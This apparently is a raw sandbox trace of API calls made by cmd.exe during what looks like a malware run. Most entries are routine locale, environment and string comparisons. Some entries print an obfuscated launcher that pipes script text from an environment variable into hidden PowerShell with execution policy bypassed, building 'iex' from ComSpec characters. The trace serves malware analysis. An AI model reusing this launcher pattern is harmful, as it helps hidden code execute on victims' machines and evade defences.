lpLCData="Fri") returned 4 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0104.095] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0104.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0104.095] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0104.095] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0104.095] GetConsoleTitleW (in: lpConsoleTitle=0x1fa4950, nSize=0x104 | out: lpConsoleTitle="cmd.exE /c %adizY% ") returned 0x18 [0104.096] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0104.096] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0104.096] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0104.096] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0104.096] GetEnvironmentVariableW (in: lpName="adizY", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) |POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ") returned 0xdd [0104.097] _wcsicmp (_String1="EchO", _String2=")") returned 60 [0104.098] _wcsicmp (_String1="FOR", _String2="EchO") returned 1 [0104.098] _wcsicmp (_String1="FOR/?", _String2="EchO") returned 1 [0104.098] _wcsicmp (_String1="IF", _String2="EchO") returned 4 [0104.098] _wcsicmp (_String1="IF/?", _String2="EchO") returned 4 [0104.098] _wcsicmp (_String1="REM", _String2="EchO") returned 13 [0104.098] _wcsicmp (_String1="REM/?", _String2="EchO") returned 13 [0104.101] _wcsicmp (_String1="FOR", _String2="POwERsHElL") returned -10 [0104.101] _wcsicmp (_String1="FOR/?", _String2="POwERsHElL") returned -10 [0104.101] _wcsicmp (_String1="IF", _String2="POwERsHElL") returned -7 [0104.101] _wcsicmp (_String1="IF/?", _String2="POwERsHElL") returned -7 [0104.101] _wcsicmp (_String1="REM", _String2="POwERsHElL") returned 2 [0104.101] _wcsicmp (_String1="REM/?", _String2="POwERsHElL") returned 2 [0104.104] _pipe (in: _PtHandles=0x1fa4fd0, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x1fa4fd0) returned 0 [0104.105] _dup (_FileHandle=1) returned 5 [0104.107] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0104.107] _close (_FileHandle=4) returned 0 [0104.107] _wcsicmp (_String1="EchO", _String2="DIR") returned 1 [0104.107] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15 [0104.107] _wcsicmp (_String1="EchO", _String2="DEL") returned 1 [0104.108] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15 [0104.108] _wcsicmp (_String1="EchO", _String2="COPY") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="CD") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13 [0104.108] _wcsicmp (_String1="EchO", _String2="REN") returned -13 [0104.108] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0 [0104.108] _wcsicmp (_String1="EchO", _String2="DIR") returned 1 [0104.108] _wcsicmp (_String1="EchO", _String2="ERASE") returned -15 [0104.108] _wcsicmp (_String1="EchO", _String2="DEL") returned 1 [0104.108] _wcsicmp (_String1="EchO", _String2="TYPE") returned -15 [0104.108] _wcsicmp (_String1="EchO", _String2="COPY") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="CD") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="CHDIR") returned 2 [0104.108] _wcsicmp (_String1="EchO", _String2="RENAME") returned -13 [0104.108] _wcsicmp (_String1="EchO", _String2="REN") returned -13 [0104.108] _wcsicmp (_String1="EchO", _String2="ECHO") returned 0 [0104.108] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.108] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0104.109] SetErrorMode (uMode=0x0) returned 0x8001 [0104.109] SetErrorMode (uMode=0x1) returned 0x0 [0104.109] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x319760, lpFilePart=0x1ef140 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ef140*="system32") returned 0x13 [0104.109] SetErrorMode (uMode=0x8001) returned 0x1 [0104.109] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0104.109] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.114] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0104.114] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x1eeeb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eeeb0) returned 0x2ac520 [0104.114] FindClose (in: hFindFile=0x2ac520 | out: hFindFile=0x2ac520) returned 1 [0104.115] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0104.115] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0104.115] GetConsoleTitleW (in: lpConsoleTitle=0x1ef400, nSize=0x104 | out: lpConsoleTitle="cmd.exE /c %adizY% ") returned 0x18 [0104.115] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef1b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef178 | out: lpAttributeList=0x1ef1b8, lpSize=0x1ef178) returned 1 [0104.115] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef1b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef168, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef1b8, lpPreviousValue=0x0) returned 1 [0104.115] GetStartupInfoW (in: lpStartupInfo=0x1ef2d0 | out: lpStartupInfo=0x1ef2d0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="cmd.exE /c %adizY% ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="#-=set ", _MaxCount=0x7) returned 64 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="#;=seGC", _MaxCount=0x7) returned 64 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="$'=seGC", _MaxCount=0x7) returned 63 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="$+=seGC", _MaxCount=0x7) returned 63 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="$_'}=se", _MaxCount=0x7) returned 63 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="',`+=se", _MaxCount=0x7) returned 60 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="']=set ", _MaxCount=0x7) returned 60 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="'`#=set", _MaxCount=0x7) returned 60 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="'{=seGC", _MaxCount=0x7) returned 60 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="'}_-=se", _MaxCount=0x7) returned 60 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="*.@=set", _MaxCount=0x7) returned 57 [0104.115] _wcsnicmp (_String1="COPYCMD", _String2="*[-,=se", _MaxCount=0x7) returned 57 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="*{[=seG", _MaxCount=0x7) returned 57 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="*}=set ", _MaxCount=0x7) returned 57 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="+,\\=set", _MaxCount=0x7) returned 56 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="+.@#=se", _MaxCount=0x7) returned 56 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="+?.,=se", _MaxCount=0x7) returned 56 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="+~}{=eo", _MaxCount=0x7) returned 56 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=",@$[=se", _MaxCount=0x7) returned 55 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=",_}~=se", _MaxCount=0x7) returned 55 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=",`=set ", _MaxCount=0x7) returned 55 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="-}=set ", _MaxCount=0x7) returned 54 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="-}#=seG", _MaxCount=0x7) returned 54 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=".$+=set", _MaxCount=0x7) returned 53 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=".*#=set", _MaxCount=0x7) returned 53 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=".,`_=se", _MaxCount=0x7) returned 53 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=".;?=set", _MaxCount=0x7) returned 53 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=".@_#=se", _MaxCount=0x7) returned 53 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=";.+=set", _MaxCount=0x7) returned 40 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=";]=seGC", _MaxCount=0x7) returned 40 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2=";`}~=se", _MaxCount=0x7) returned 40 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="?$_=set", _MaxCount=0x7) returned 36 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="@#?.=se", _MaxCount=0x7) returned 35 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="@+*=s8P", _MaxCount=0x7) returned 35 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="@-=seGC", _MaxCount=0x7) returned 35 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="@;?#=se", _MaxCount=0x7) returned 35 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="@[~=s8P", _MaxCount=0x7) returned 35 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="aDIzy=E", _MaxCount=0x7) returned 2 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0104.116] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="suLrv=.", _MaxCount=0x7) returned -16 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0104.117] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="[$#?=se", _MaxCount=0x7) returned 8 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="[$@+=se", _MaxCount=0x7) returned 8 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="[_=set ", _MaxCount=0x7) returned 8 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="[{=seGC", _MaxCount=0x7) returned 8 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\#=set ", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\,=set ", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\,}_=eo", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\[=seGC", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\[,#=se", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="\\{=seGC", _MaxCount=0x7) returned 7 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="]#=set ", _MaxCount=0x7) returned 6 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="]$*{=se", _MaxCount=0x7) returned 6 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="_'*{=se", _MaxCount=0x7) returned 4 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="_@.-=se", _MaxCount=0x7) returned 4 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="_`@#=se", _MaxCount=0x7) returned 4 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`-$=seG", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`._=set", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`?=s8PG", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`[+=set", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`\\+=seG", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`]$=seG", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="`}$@=se", _MaxCount=0x7) returned 3 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="{$_=set", _MaxCount=0x7) returned -24 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="{'`#=se", _MaxCount=0x7) returned -24 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="{,.=set", _MaxCount=0x7) returned -24 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="{;=set ", _MaxCount=0x7) returned -24 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="{@}=seG", _MaxCount=0x7) returned -24 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="}$]?=se", _MaxCount=0x7) returned -26 [0104.118] _wcsnicmp (_String1="COPYCMD", _String2="}\\=set ", _MaxCount=0x7) returned -26 [0104.119] _wcsnicmp (_String1="COPYCMD", _String2="}\\?=set", _MaxCount=0x7) returned -26 [0104.119] _wcsnicmp (_String1="COPYCMD", _String2="}],$=se", _MaxCount=0x7) returned -26 [0104.119] _wcsnicmp (_String1="COPYCMD", _String2="}{=set ", _MaxCount=0x7) returned -26 [0104.119] _wcsnicmp (_String1="COPYCMD", _String2="~\\=set ", _MaxCount=0x7) returned -27 [0104.119] _wcsnicmp (_String1="COPYCMD", _String2="~`*?=se", _MaxCount=0x7) returned -27 [0104.119] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0104.121] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ef1f0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef1a0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) \"", lpProcessInformation=0x1ef1a0*(hProcess=0x64, hThread=0x5c, dwProcessId=0xb54, dwThreadId=0xb58)) returned 1 [0104.129] CloseHandle (hObject=0x5c) returned 1 [0104.129] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.129] GetEnvironmentStringsW () returned 0x1fa5fb0* [0104.130] FreeEnvironmentStringsW (penv=0x1fa5fb0) returned 1 [0104.130] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef1b8 | out: lpAttributeList=0x1ef1b8) [0104.130] _get_osfhandle (_FileHandle=3) returned 0x54 [0104.130] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0104.130] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0104.131] _close (_FileHandle=5) returned 0 [0104.131] _dup (_FileHandle=0) returned 4 [0104.131] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0104.131] _close (_FileHandle=3) returned 0 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13 [0104.132] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3 [0104.133] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="FOR") returned 10 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="IF") returned 7 [0104.134] _wcsicmp (_String1="POwERsHElL", _String2="REM") returned -2 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3 [0104.135] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3 [0104.135] 